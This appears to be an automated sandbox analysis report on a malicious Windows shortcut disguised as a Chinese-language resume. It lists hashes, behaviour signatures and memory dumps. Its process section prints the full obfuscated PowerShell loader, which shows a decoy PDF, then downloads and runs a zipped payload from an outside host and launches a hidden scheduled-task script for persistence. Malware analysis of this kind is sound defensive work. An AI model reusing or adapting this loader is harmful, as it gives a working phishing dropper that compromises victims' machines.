Analysis
- max time kernel
149s - max time network
58s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
03/12/2025, 12:35
General
- Target scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk
- Size 2KB
- Sample251203-psk7tshz8a
- SHA256 ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h $localPath = (Get-Location).Path; Remove-Item -Path "$localPath\我的简历.lnk" -Force; $h='ht'; $t='tps'; curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\\我的简历.pdf"; Start-Process -FilePath "$localPath\\我的简历.pdf"; if (-not (Test-Path "$env:APPDATA\Security")){ New-Item -Type Directory "$env:APPDATA\Security" -Force|Out-Null }; curl "${h}${t}://pan.tenire.com/down.php/83b341a1caab40ad1e7adb9fb4a8b911.zip" -o "$env:APPDATA\\Security\pkg.zip"; Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force; Remove-Item "$env:APPDATA\Security\pkg.zip" -Force; & "$env:APPDATA\Security\keytool.exe"; & "$env:APPDATA\Security\CreateHiddenTask.vbs";2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_e4d54xzd.5eo.ps1
memory/2844-13-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-4-0x000001B1E92E0000-0x000001B1E9302000-memory.dmp
memory/2844-3-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-11-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-12-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-2-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-14-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp
memory/2844-16-0x00007FF4E2560000-0x00007FF4E2570000-memory.dmp
memory/2844-23-0x000001B1E97E0000-0x000001B1E97FC000-memory.dmp
memory/2844-24-0x000001B1E9800000-0x000001B1E98B3000-memory.dmp
memory/2844-25-0x000001B1E98C0000-0x000001B1E98CA000-memory.dmp
memory/2844-26-0x000001B1E84F0000-0x000001B1E8500000-memory.dmp